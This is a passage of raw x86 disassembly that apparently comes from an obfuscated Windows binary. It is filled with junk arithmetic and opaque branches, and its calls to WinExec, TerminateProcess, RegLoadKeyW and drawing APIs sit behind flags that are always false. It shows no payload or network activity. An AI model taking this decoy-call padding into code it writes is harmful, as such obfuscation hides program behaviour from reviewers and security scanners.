and dword [ebp - 0x1cd0], 0
mov eax, dword [ebp - 0x25f0]
add eax, dword [ebp - 0x1cd0]
jne 0x457109
cmp dword [ebp - 0x7ac], 0
jne 0x457109
and dword [ebp - 0x1850], 0
jmp 0x457113
mov dword [ebp - 0x1850], 1
mov eax, dword [ebp - 0x1850]
mov dword [ebp - 0x1858], eax
mov eax, dword [ebp - 0x1f00]
cmp dword [ebp - 0x1858], eax
je 0x457139
mov dword [ebp - 0x1cd8], 1
jmp 0x457140
and dword [ebp - 0x1cd8], 0
cmp dword [ebp - 0x1cd8], 1
jge 0x45715b
cmp dword [ebp - 0x374], 0
jne 0x45715b
and dword [ebp - 0x1860], 0
jmp 0x457165
mov dword [ebp - 0x1860], 1
mov eax, dword [ebp - 0x7ac]
cmp dword [ebp - 0x7ac], 0x4999369e
je 0x457183
mov dword [ebp - 0x20bc], 1
jmp 0x45718a
and dword [ebp - 0x20bc], 0
cmp dword [ebp - 0x20bc], 0x63d4
jg 0x4571a2
mov dword [ebp - 0x1868], 1
jmp 0x4571a9
and dword [ebp - 0x1868], 0
cmp dword [ebp - 0x1868], 0xfffffffa
jg 0x4571be
mov dword [ebp - 0x1ce0], 1
jmp 0x4571c5
and dword [ebp - 0x1ce0], 0
mov eax, dword [ebp - 0x1ce0]
mov dword [ebp - 0x2844], eax
jmp 0x456db1
jmp 0x456d43
mov dword [ebp - 0x32c0], 0xac789480
mov dword [ebp - 0x2e30], 0xfffffff7
mov dword [ebp - 0x3160], 0xffffffff
mov dword [ebp - 0x2e38], 0xedc7555b
mov dword [ebp - 0x3358], 0xd19ac196
mov dword [ebp - 0x2e40], 0
mov dword [ebp - 0x3168], 0xf38c0887
mov dword [ebp - 0x2e48], 0
mov dword [ebp - 0x32c8], 0xfffffffd
mov dword [ebp - 0x2e50], 0x592c6eed
mov dword [ebp - 0x3170], 1
mov dword [ebp - 0x1b8], 0
jmp 0x457262
mov eax, dword [ebp - 0x1b8]
inc eax
mov dword [ebp - 0x1b8], eax
cmp dword [ebp - 0x1b8], 3
jge 0x45727e
mov eax, dword [ebp - 0x1b8]
mov dword [ebp + eax*4 - 0x35ac], 0x744d0289
jmp 0x457255
mov dword [ebp - 0x1b8], 0
jmp 0x457297
mov eax, dword [ebp - 0x1b8]
inc eax
mov dword [ebp - 0x1b8], eax
cmp dword [ebp - 0x1b8], 1
jge 0x4572b3
mov eax, dword [ebp - 0x1b8]
mov dword [ebp + eax*4 - 0x1870], 0xb641b44a
jmp 0x45728a
mov byte [ebp - 0x2c5], 0
movzx eax, byte [ebp - 0x2c5]
test eax, eax
je 0x4572e9
push 0
push 0x971
push 0
push 0x1324
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawTextExW]
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1870]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x1870], eax
mov dword [ebp - 0x2af4], 7
mov dword [ebp - 0x2af0], 7
mov dword [ebp - 0x2aec], 7
mov dword [ebp - 0x2ae8], 7
mov dword [ebp - 0xdc], 0x9dbe
mov dword [ebp - 0x4b8], 1
mov dword [ebp - 0x4b0], 1
mov dword [ebp - 0x938], 1
mov dword [ebp - 0x25f8], 0
mov dword [ebp - 0x854], 0
jmp 0x457377
mov eax, dword [ebp - 0x854]
inc eax
mov dword [ebp - 0x854], eax
cmp dword [ebp - 0x854], 1
jge 0x457393
mov eax, dword [ebp - 0x854]
mov dword [ebp + eax*4 - 0x2600], 0x4de8
jmp 0x45736a
push 0xfffffffffffffffb
pop eax
test eax, eax
je 0x457477
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0x2e58], eax
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0x4b8], eax
cmp dword [ebp - 0x4b8], 0
je 0x4573d4
cmp dword [ebp - 0x4b8], 0
je 0x4573d4
mov dword [ebp - 0x1f08], 1
jmp 0x4573db
and dword [ebp - 0x1f08], 0
mov eax, dword [ebp - 0xdc]
imul eax, dword [ebp - 0x1f08]
cmp eax, 0xffffffff
je 0x4573f9
mov dword [ebp - 0x1878], 1
jmp 0x457400
and dword [ebp - 0x1878], 0
mov eax, dword [ebp - 0xdc]
cmp dword [ebp - 0x1878], eax
jl 0x457417
cmp dword [ebp - 0x4b0], 0
jne 0x457427
cmp dword [ebp - 0x938], 0
jne 0x457427
cmp dword [ebp - 0x4b8], 0
mov dword [ebp - 0x938], 0x859bb7a1
mov eax, dword [ebp - 0x938]
mov dword [ebp - 0x25f8], eax
mov eax, 0x3526
neg eax
cmp eax, 1
jbe 0x45745e
cmp dword [ebp - 0xdc], 0
je 0x45745e
mov dword [ebp - 0x1ce8], 1
jmp 0x457465
and dword [ebp - 0x1ce8], 0
mov eax, dword [ebp - 0x1ce8]
sub eax, dword [ebp - 0x4b0]
cmp eax, dword [ebp - 0x4b0]
cmp dword [ebp - 0x4b0], 0x70e8
jne 0x45748f
mov dword [ebp - 0x1880], 1
jmp 0x457496
and dword [ebp - 0x1880], 0
cmp dword [ebp - 0x1880], 0
ja 0x4574ab
mov dword [ebp - 0x18a8], 1
jmp 0x4574b2
and dword [ebp - 0x18a8], 0
mov eax, dword [ebp - 0x4b0]
add eax, dword [ebp - 0x18a8]
je 0x4574d8
mov dword [ebp - 0x2994], 0
mov eax, dword [ebp - 0x4b8]
mov dword [ebp - 0x2994], eax
jmp 0x457533
mov byte [ebp - 0x3c6], 0
movzx eax, byte [ebp - 0x3c6]
test eax, eax
je 0x457506
push 0x1a55
push 0x249e
push 0x1c88
push 0x1335
push 0
call dword [sym.imp.USER32.dll_CheckMenuRadioItem]
mov byte [ebp - 0x2cd], 0
movzx eax, byte [ebp - 0x2cd]
test eax, eax
je 0x457533
push 0x1947
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Polygon]
mov dword [ebp - 0xdc], 0
jmp 0x45754c
mov eax, dword [ebp - 0xdc]
inc eax
mov dword [ebp - 0xdc], eax
cmp dword [ebp - 0xdc], 1
jge 0x457568
mov eax, dword [ebp - 0xdc]
mov dword [ebp + eax*4 - 0x2600], 0xffff
jmp 0x45753f
mov dword [ebp - 0x244], 0x81c2900
mov dword [ebp - 0x1c0], 0xfffffffd
mov dword [ebp - 0x1f8], 0
mov dword [ebp - 0x1014], 0x76dbd8d4
mov dword [ebp - 0x7b4], 0
jmp 0x4575a9
mov eax, dword [ebp - 0x7b4]
inc eax
mov dword [ebp - 0x7b4], eax
cmp dword [ebp - 0x7b4], 4
jge 0x4575c5
mov eax, dword [ebp - 0x7b4]
mov dword [ebp + eax*4 - 0xbcc], 1
jmp 0x45759c
mov dword [ebp - 0x1c0], 0
jmp 0x4575de
mov eax, dword [ebp - 0x1c0]
inc eax
mov dword [ebp - 0x1c0], eax
cmp dword [ebp - 0x1c0], 3
jg 0x457956
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0x678], 0xfffffffd
mov dword [ebp - 0x674], 0
jmp 0x457618
mov eax, dword [ebp - 0x674]
inc eax
mov dword [ebp - 0x674], eax
cmp dword [ebp - 0x674], 3
jge 0x457634
mov eax, dword [ebp - 0x674]
mov dword [ebp + eax*4 - 0x31e4], 1
jmp 0x45760b
mov dword [ebp - 0xc0], 0
jmp 0x45764d
mov eax, dword [ebp - 0xc0]
inc eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 3
jg 0x457951
mov dword [ebp - 0x940], 0x19195c58
mov eax, dword [ebp - 0xc0]
cmp dword [ebp + eax*4 - 0xbcc], 0
jae 0x457689
cmp dword [ebp - 0xc0], 0
je 0x457689
mov dword [ebp - 0x1888], 1
jmp 0x457690
and dword [ebp - 0x1888], 0
mov eax, dword [ebp - 0x1c0]
cmp dword [ebp - 0x1888], eax
jge 0x4576aa
mov dword [ebp - 0x18ac], 1
jmp 0x4576b1
and dword [ebp - 0x18ac], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x31e4]
add eax, dword [ebp - 0x18ac]
add eax, dword [ebp - 0xc0]
jne 0x4576d8
mov dword [ebp - 0x1890], 1
jmp 0x4576df
and dword [ebp - 0x1890], 0
mov eax, dword [ebp - 0x1c0]
sub eax, dword [ebp - 0x1890]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x31e4]
jl 0x457706
mov dword [ebp - 0x18b4], 1
jmp 0x45770d
and dword [ebp - 0x18b4], 0
mov eax, dword [ebp - 0x18b4]
sub eax, 8
mov dword [ebp - 0x678], eax
imul eax, dword [ebp - 0x678], 0
sub eax, 0xa
cmp eax, 0x3f0b
je 0x457739
mov dword [ebp - 0x1898], 1
jmp 0x457740
and dword [ebp - 0x1898], 0
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp + eax*4 - 0xbcc]
cmp dword [ebp - 0x1898], eax
jle 0x457761
mov dword [ebp - 0x18bc], 1
jmp 0x457768
and dword [ebp - 0x18bc], 0
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp + eax*4 - 0xbcc]
cmp eax, dword [ebp - 0x18bc]
je 0x457789
mov dword [ebp - 0x18a0], 1
jmp 0x457790
and dword [ebp - 0x18a0], 0
mov eax, dword [ebp - 0x18a0]
mov dword [ebp - 0x1f8], eax
mov dword [ebp - 0x1f8], 3
jmp 0x4577b5
mov eax, dword [ebp - 0x1f8]
dec eax
mov dword [ebp - 0x1f8], eax
cmp dword [ebp - 0x1f8], 0
jl 0x45794c
mov eax, dword [ebp - 0x1f8]
cmp dword [ebp + eax*4 - 0xbcc], 0
jne 0x45787a
mov eax, dword [ebp - 0x1f8]
cmp dword [ebp + eax*4 - 0xbcc], 1
jge 0x4577f2
mov dword [ebp - 0x18c4], 1
jmp 0x4577f9
and dword [ebp - 0x18c4], 0
mov eax, dword [ebp - 0x1f8]
mov ecx, dword [ebp - 0x18c4]
add ecx, 0x745d07a0
cmp dword [ebp + eax*4 - 0xbcc], ecx
jle 0x457820
mov dword [ebp - 0xff8], 1
jmp 0x457827
and dword [ebp - 0xff8], 0
mov eax, dword [ebp - 0xff8]
mov dword [ebp - 0x940], eax
cmp dword [ebp - 0x940], 0
je 0x45784a
mov eax, dword [ebp - 0x1f8]
cmp dword [ebp + eax*4 - 0xbcc], 0
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp + eax*4 - 0xbcc]
mov dword [ebp - 0x33c8], eax
mov eax, dword [ebp - 0xc0]
mov ecx, 0x3d2afddf
sub ecx, dword [ebp + eax*4 - 0xbcc]
jne 0x45787a
and dword [ebp - 0xffc], 0
jmp 0x457884
mov dword [ebp - 0xffc], 1
mov eax, dword [ebp - 0x678]
cmp dword [ebp - 0xffc], eax
jge 0x45789e
mov dword [ebp - 0x1004], 1
jmp 0x4578a5
and dword [ebp - 0x1004], 0
mov eax, dword [ebp - 0x1c0]
mov eax, dword [ebp + eax*4 - 0xbcc]
cmp dword [ebp - 0x1004], eax
jne 0x4578c6
mov dword [ebp - 0x100c], 1
jmp 0x4578cd
and dword [ebp - 0x100c], 0
mov eax, dword [ebp - 0x100c]
mov dword [ebp - 0x1014], eax
mov eax, dword [ebp - 0x1c0]
mov eax, dword [ebp + eax*4 - 0xbcc]
cmp dword [ebp - 0x1014], eax
jne 0x4578fa
mov dword [ebp - 0x101c], 1
jmp 0x457901
and dword [ebp - 0x101c], 0
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x101c]
sub ecx, dword [ebp + eax - 0xbcc]
cmp ecx, 0xdc9fe9a5
jbe 0x457928
mov dword [ebp - 0x284c], 1
jmp 0x45792f
and dword [ebp - 0x284c], 0
mov eax, dword [ebp - 0x1c0]
mov dword [ebp - 0x2e60], eax
mov eax, dword [ebp - 0x940]
mov dword [ebp - 0x678], eax
jmp 0x4577a8
jmp 0x457640
jmp 0x4575d1
mov dword [ebp - 0x3178], 0xc044b0bf
mov dword [ebp - 0x37c], 0xb26bdde0
mov dword [ebp - 0x37c], 0xa
jmp 0x457983
mov eax, dword [ebp - 0x37c]
dec eax
mov dword [ebp - 0x37c], eax
cmp dword [ebp - 0x37c], 3
jge 0x457c82
mov dword [ebp - 0x23c], 2
mov dword [ebp - 0x102c], 1
mov dword [ebp - 0x2608], 0x7e2
mov dword [ebp - 0x2618], 0xfffffffb
mov dword [ebp - 0x680], 0
jmp 0x4579d1
mov eax, dword [ebp - 0x680]
inc eax
mov dword [ebp - 0x680], eax
cmp dword [ebp - 0x680], 2
jge 0x4579ed
mov eax, dword [ebp - 0x680]
mov dword [ebp + eax*4 - 0x218c], 0x318d5816
jmp 0x4579c4
mov dword [ebp - 0x23c], 0
jmp 0x457a06
mov eax, dword [ebp - 0x23c]
inc eax
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 1
jg 0x457a45
mov byte [ebp - 0x3d6], 0
movzx eax, byte [ebp - 0x3d6]
test eax, eax
je 0x457a29
push 0
call dword [sym.imp.GDI32.dll_CreateFontIndirectW]
mov byte [ebp - 0x2d5], 0
movzx eax, byte [ebp - 0x2d5]
test eax, eax
je 0x457a43
push 0
call dword [sym.imp.USER32.dll_CreateIconIndirect]
jmp 0x4579f9
mov dword [ebp - 0x23c], 0
jmp 0x457a5e
mov eax, dword [ebp - 0x23c]
inc eax
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 0xc
jge 0x457c7d
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x29c4], 0xbb9cec02
mov dword [ebp - 0x108], 1
jmp 0x457a98
mov eax, dword [ebp - 0x108]
dec eax
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 0
jl 0x457c78
mov dword [ebp - 0x1024], 0x88cdf8ab
mov dword [ebp - 0x2610], 0x3b5b
mov dword [ebp - 0x1024], 0xffffffff
mov eax, dword [ebp - 0x1024]
mov dword [ebp - 0x102c], eax
mov eax, dword [ebp - 0x102c]
mov dword [ebp - 0x2e68], eax
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0x32d0], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x218c]
mov dword [ebp - 0x2e70], eax
mov eax, dword [ebp - 0x37c]
cmp dword [ebp - 0x2608], eax
jg 0x457b14
mov dword [ebp - 0x1034], 1
jmp 0x457b1b
and dword [ebp - 0x1034], 0
mov eax, 0xb8fa
sub eax, dword [ebp - 0x1034]
cmp eax, 0x5a82a6f9
jl 0x457b39
mov dword [ebp - 0x103c], 1
jmp 0x457b40
and dword [ebp - 0x103c], 0
imul eax, dword [ebp - 0x103c], 0x9b03
cmp eax, 0x4655
jge 0x457b5d
mov dword [ebp - 0x293c], 1
jmp 0x457b64
and dword [ebp - 0x293c], 0
mov eax, dword [ebp - 0x37c]
mov dword [ebp - 0x3180], eax
mov eax, dword [ebp - 0x108]
cmp dword [ebp + eax*4 - 0x218c], 0
je 0x457b99
mov eax, 0x7da19ae8
test eax, eax
je 0x457b99
push 8
pop eax
test eax, eax
jne 0x457b99
and dword [ebp - 0x1044], 0
jmp 0x457ba3
mov dword [ebp - 0x1044], 1
mov eax, dword [ebp - 0x108]
mov eax, dword [ebp + eax*4 - 0x218c]
add eax, dword [ebp - 0x1044]
sub eax, dword [ebp - 0x2610]
cmp eax, 0xffffffff
ja 0x457bcd
mov dword [ebp - 0x104c], 1
jmp 0x457bd4
and dword [ebp - 0x104c], 0
mov eax, dword [ebp - 0x108]
mov eax, dword [ebp + eax*4 - 0x218c]
cmp dword [ebp - 0x104c], eax
jg 0x457bf5
mov dword [ebp - 0x1054], 1
jmp 0x457bfc
and dword [ebp - 0x1054], 0
cmp dword [ebp - 0x1054], 0x49f4ffcf
jl 0x457c14
mov dword [ebp - 0x2854], 1
jmp 0x457c1b
and dword [ebp - 0x2854], 0
mov eax, dword [ebp - 0x2618]
mov dword [ebp - 0x2e78], eax
mov eax, dword [ebp - 0x37c]
cmp dword [ebp - 0x108], eax
je 0x457c41
mov dword [ebp - 0x105c], 1
jmp 0x457c48
and dword [ebp - 0x105c], 0
mov eax, dword [ebp - 0x105c]
mov dword [ebp - 0x29c4], eax
mov byte [ebp - 0x3c8], 0
movzx eax, byte [ebp - 0x3c8]
test eax, eax
je 0x457c73
push 0x1107
push 0
call dword [sym.imp.KERNEL32.dll_WinExec]
jmp 0x457a8b
jmp 0x457a51
jmp 0x457976
mov dword [ebp - 0x2640], 0x35c22c92
mov dword [ebp - 0x688], 0xf6af1124
mov dword [ebp - 0x688], 0
jmp 0x457caf
mov eax, dword [ebp - 0x688]
inc eax
mov dword [ebp - 0x688], eax
cmp dword [ebp - 0x688], 0xe
jl 0x457d0b
mov byte [ebp - 0x2dd], 0
movzx eax, byte [ebp - 0x2dd]
test eax, eax
je 0x457cef
push 0x213c
push 0x159c
push 0xf8c
push 0x20
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Ellipse]
mov byte [ebp - 0x3de], 0
movzx eax, byte [ebp - 0x3de]
test eax, eax
je 0x457d09
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
jmp 0x457ca2
mov dword [ebp - 0x1064], 0xfffffff6
mov dword [ebp - 0x106c], 0
mov dword [ebp - 0x698], 0xe856dfc9
mov dword [ebp - 0x108c], 0xffffffff
mov dword [ebp - 0x4c0], 0x4d07
mov dword [ebp - 0x10c4], 0xe3d97867
mov dword [ebp - 0x285c], 0xfffffffd
mov dword [ebp - 0x3360], 0x79ebef9f
mov dword [ebp - 0x690], 0
jmp 0x457d74
mov eax, dword [ebp - 0x690]
inc eax
mov dword [ebp - 0x690], eax
cmp dword [ebp - 0x690], 3
jge 0x457d90
mov eax, dword [ebp - 0x690]
mov dword [ebp + eax*4 - 0x2bb4], 0x3367f5ed
jmp 0x457d67
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov eax, dword [ebp + eax - 0x2bb4]
imul eax, dword [ebp + ecx - 0x2bb4]
mov dword [ebp - 0x1074], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1074]
mov dword [ebp + eax - 0x2bb4], ecx
mov dword [ebp - 0x1064], 0xfffffff8
mov eax, dword [ebp - 0x1064]
mov dword [ebp - 0x106c], eax
mov eax, dword [ebp - 0x106c]
cmp dword [ebp - 0x1074], eax
jge 0x457df4
mov dword [ebp - 0x10ac], 1
jmp 0x457dfb
and dword [ebp - 0x10ac], 0
cmp dword [ebp - 0x698], 0x3d6c
jge 0x457e13
mov dword [ebp - 0x107c], 1
jmp 0x457e1a
and dword [ebp - 0x107c], 0
mov eax, dword [ebp - 0x107c]
mov dword [ebp - 0x698], eax
cmp dword [ebp - 0x698], 0xffff
jbe 0x457e3e
mov dword [ebp - 0x1084], 1
jmp 0x457e45
and dword [ebp - 0x1084], 0
mov eax, dword [ebp - 0x1084]
mov dword [ebp - 0x108c], eax
cmp dword [ebp - 0x108c], 0
je 0x457e6b
xor eax, eax
inc eax
je 0x457e6b
mov dword [ebp - 0x1094], 1
jmp 0x457e72
and dword [ebp - 0x1094], 0
mov eax, dword [ebp - 0x1094]
sub eax, dword [ebp - 0x4c0]
add eax, 0x40b2084f
cmp eax, dword [ebp - 0x4c0]
jg 0x457e97
mov dword [ebp - 0x109c], 1
jmp 0x457e9e
and dword [ebp - 0x109c], 0
mov eax, dword [ebp - 0x4c0]
imul eax, dword [ebp - 0x109c]
cmp eax, dword [ebp - 0x4c0]
jg 0x457ebf
mov dword [ebp - 0x10a4], 1
jmp 0x457ec6
and dword [ebp - 0x10a4], 0
cmp dword [ebp - 0x10a4], 0x75da
jg 0x457ede
mov dword [ebp - 0x2620], 1
jmp 0x457ee5
and dword [ebp - 0x2620], 0
mov eax, dword [ebp - 0x10c4]
mov dword [ebp - 0x2e80], eax
cmp dword [ebp - 0x698], 0
je 0x457f0f
cmp dword [ebp - 0x4c0], 0
je 0x457f0f
mov dword [ebp - 0x10b4], 1
jmp 0x457f16
and dword [ebp - 0x10b4], 0
mov eax, dword [ebp - 0x10ac]
cmp eax, dword [ebp - 0x10b4]
jg 0x457f30
mov dword [ebp - 0x10bc], 1
jmp 0x457f37
and dword [ebp - 0x10bc], 0
cmp dword [ebp - 0x10bc], 4
jl 0x457f4c
mov dword [ebp - 0x10cc], 1
jmp 0x457f53
and dword [ebp - 0x10cc], 0
mov eax, dword [ebp - 0x10c4]
cmp dword [ebp - 0x10cc], eax
jg 0x457f6d
mov dword [ebp - 0x10d4], 1
jmp 0x457f74
and dword [ebp - 0x10d4], 0
mov eax, dword [ebp - 0x10d4]
mov dword [ebp - 0x285c], eax
mov dword [ebp - 0x244], 3
jmp 0x457f99
cmp dword [ebp - 0x244], 0
jl 0x458703
mov dword [ebp - 0x3188], 0
mov byte [ebp - 0x2e5], 0
movzx eax, byte [ebp - 0x2e5]
test eax, eax
je 0x457fcc
push 0
push 0
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov byte [ebp - 0x3ca], 0
movzx eax, byte [ebp - 0x3ca]
test eax, eax
je 0x457fe8
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
mov dword [ebp - 0x20d8], 0x194d
mov dword [ebp - 0x20d4], 0x194d
mov dword [ebp - 0x20d0], 0x194d
mov dword [ebp - 0x20cc], 0x194d
mov dword [ebp - 0xa0], 0
mov dword [ebp - 0x384], 0x65e3edfa
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x20d8]
mov dword [ebp - 0x2e88], eax
mov eax, dword [ebp - 0xa0]
mov dword [ebp - 0x32d8], eax
cmp dword [ebp - 0x384], 0
jne 0x458100
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x20d8], 0x2f3d
je 0x45806e
mov dword [ebp - 0x2628], 1
jmp 0x458075
and dword [ebp - 0x2628], 0
push 4
pop eax
imul eax, eax, 0
imul eax, dword [ebp + eax - 0x20d8], 0xffff
sub eax, 5
cmp eax, 0xffffffff
jle 0x45809a
mov dword [ebp - 0x10dc], 1
jmp 0x4580a1
and dword [ebp - 0x10dc], 0
mov eax, dword [ebp - 0x384]
cmp dword [ebp - 0x10dc], eax
jle 0x4580bb
mov dword [ebp - 0x2944], 1
jmp 0x4580c2
and dword [ebp - 0x2944], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x20d8]
mov dword [ebp - 0x2e90], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x20d8], 0
jne 0x458100
cmp dword [ebp - 0xa0], 0
jne 0x458100
cmp dword [ebp - 0x384], 0
jne 0x458100
and dword [ebp - 0x10e4], 0
jmp 0x45810a
mov dword [ebp - 0x10e4], 1
cmp dword [ebp - 0x10e4], 0x8eb16e2c
je 0x45812f
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x20d8], 0
jne 0x45812f
and dword [ebp - 0x10ec], 0
jmp 0x458139
mov dword [ebp - 0x10ec], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x20d8]
cmp eax, dword [ebp - 0x10ec]
jge 0x45815a
mov dword [ebp - 0x10f4], 1
jmp 0x458161
and dword [ebp - 0x10f4], 0
mov eax, dword [ebp - 0xa0]
cmp dword [ebp - 0x10f4], eax
jne 0x45817b
mov dword [ebp - 0x10fc], 1
jmp 0x458182
and dword [ebp - 0x10fc], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x20d8]
cmp dword [ebp - 0x10fc], eax
je 0x4581a3
mov dword [ebp - 0x1104], 1
jmp 0x4581aa
and dword [ebp - 0x1104], 0
cmp dword [ebp - 0x1104], 0xffffffff
jbe 0x4581bf
mov dword [ebp - 0x110c], 1
jmp 0x4581c6
and dword [ebp - 0x110c], 0
cmp dword [ebp - 0x110c], 0x2496
jge 0x4581f6
mov byte [ebp - 0x2ed], 0
movzx eax, byte [ebp - 0x2ed]
test eax, eax
je 0x4581f1
push 0x6ef
push 0
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x45829c
mov dword [ebp - 0x1114], 0xc14c38d6
mov byte [ebp - 0x3d8], 0
movzx eax, byte [ebp - 0x3d8]
test eax, eax
je 0x45821a
push 0
call dword [sym.imp.COMDLG32.dll_GetSaveFileNameW]
mov dword [ebp - 0x384], 0xfffffffd
jmp 0x458233
mov eax, dword [ebp - 0x384]
dec eax
mov dword [ebp - 0x384], eax
cmp dword [ebp - 0x384], 0xffffffea
je 0x45829c
mov dword [ebp - 0xa0], 0
jmp 0x458255
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 3
jg 0x45828f
mov byte [ebp - 0x2f5], 0
movzx eax, byte [ebp - 0x2f5]
test eax, eax
je 0x458282
push 0
push 0x24a8
push 0xef0
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
cmp dword [ebp - 0x1114], 0
je 0x45828d
jmp 0x45828f
jmp 0x458248
cmp dword [ebp - 0x1114], 0
je 0x45829a
jmp 0x45829c
jmp 0x458226
mov dword [ebp - 0xa0], 0
jmp 0x4582b5
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 0x1c
je 0x4582e2
mov dword [ebp - 0x111c], 9
mov eax, dword [ebp - 0x111c]
inc eax
mov dword [ebp - 0x111c], eax
cmp dword [ebp - 0xa0], 0
je 0x4582e0
jmp 0x4582e2
jmp 0x4582a8
mov dword [ebp - 0x116c], 0xb748abb7
mov dword [ebp - 0x98], 0x5c7a00f4
mov dword [ebp - 0x2630], 0x9b76eea5
mov dword [ebp - 0x6a0], 0
jmp 0x458319
mov eax, dword [ebp - 0x6a0]
inc eax
mov dword [ebp - 0x6a0], eax
cmp dword [ebp - 0x6a0], 2
jge 0x458335
mov eax, dword [ebp - 0x6a0]
mov dword [ebp + eax*4 - 0x2afc], 0x8f6c74aa
jmp 0x45830c
cmp dword [ebp - 0x98], 0
jne 0x45834a
mov dword [ebp - 0x1124], 1
jmp 0x458351
and dword [ebp - 0x1124], 0
mov eax, dword [ebp - 0x98]
cmp dword [ebp - 0x1124], eax
jl 0x458393
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0x112c], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x112c]
mov dword [ebp + eax - 0x2afc], ecx
cmp dword [ebp - 0x112c], 0
je 0x458393
mov dword [ebp - 0x113c], 1
jmp 0x45839a
and dword [ebp - 0x113c], 0
cmp dword [ebp - 0x98], 0
je 0x4583b8
cmp dword [ebp - 0x98], 0
je 0x4583b8
mov dword [ebp - 0x1134], 1
jmp 0x4583bf
and dword [ebp - 0x1134], 0
mov eax, dword [ebp - 0x98]
cmp dword [ebp - 0x1134], eax
je 0x4583df
cmp dword [ebp - 0x98], 0
jne 0x4583df
and dword [ebp - 0x1144], 0
jmp 0x4583e9
mov dword [ebp - 0x1144], 1
mov eax, dword [ebp - 0x113c]
add eax, dword [ebp - 0x1144]
mov dword [ebp - 0x2630], eax
mov dword [ebp - 0x98], 0
jmp 0x458414
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 1
jg 0x45844f
mov byte [ebp - 0x3cc], 0
movzx eax, byte [ebp - 0x3cc]
test eax, eax
je 0x45843b
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegLoadKeyW]
mov eax, dword [ebp - 0x98]
cmp dword [ebp + eax*4 - 0x2afc], 0
je 0x45844d
jmp 0x458407
jmp 0x458407
mov dword [ebp - 0x6a8], 0
jmp 0x458468
mov eax, dword [ebp - 0x6a8]
inc eax
mov dword [ebp - 0x6a8], eax
cmp dword [ebp - 0x6a8], 1
jge 0x458484
mov eax, dword [ebp - 0x6a8]
mov dword [ebp + eax*4 - 0x948], 0x827359b5
jmp 0x45845b
mov dword [ebp - 0x90], 0x152c58fb
mov dword [ebp - 0x6b0], 0
jmp 0x4584a7
cmp dword [ebp - 0x6b0], 3
jge 0x4584c3
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x6b8], 0x91509cf1
mov dword [ebp - 0x4c8], 0
mov dword [ebp - 0x11cc], 0x3efc1676
mov dword [ebp - 0x294c], 0x8deb256c
mov dword [ebp - 0x2648], 0x4a603d2c
mov dword [ebp - 0x1204], 0x6e1580eb
mov dword [ebp - 0x29dc], 0xfa0b2b04
mov dword [ebp - 0x960], 5
mov dword [ebp - 0x33a8], 0xb686461d
mov dword [ebp - 0x10c], 0
jmp 0x45877d
mov eax, dword [ebp - 0x10c]
inc eax
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 3
jge 0x458799
mov eax, dword [ebp - 0x10c]
mov dword [ebp + eax*4 - 0x34bc], 0x36f914a1
jmp 0x458770
mov dword [ebp - 0x10c], 0
jmp 0x4587b2
mov eax, dword [ebp - 0x10c]
inc eax
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 1
jge 0x4587ce
mov eax, dword [ebp - 0x10c]
mov dword [ebp + eax*4 - 0x120c], 0xe1d62101
jmp 0x4587a5
cmp dword [ebp - 0x30], 0
je 0x458907
mov eax, 0x40ed3c15
test eax, eax
je 0x45889f
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x2ea0], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
sub eax, dword [ebp - 0x30]
je 0x45880e
mov eax, 0x58a6
test eax, eax
je 0x45880e
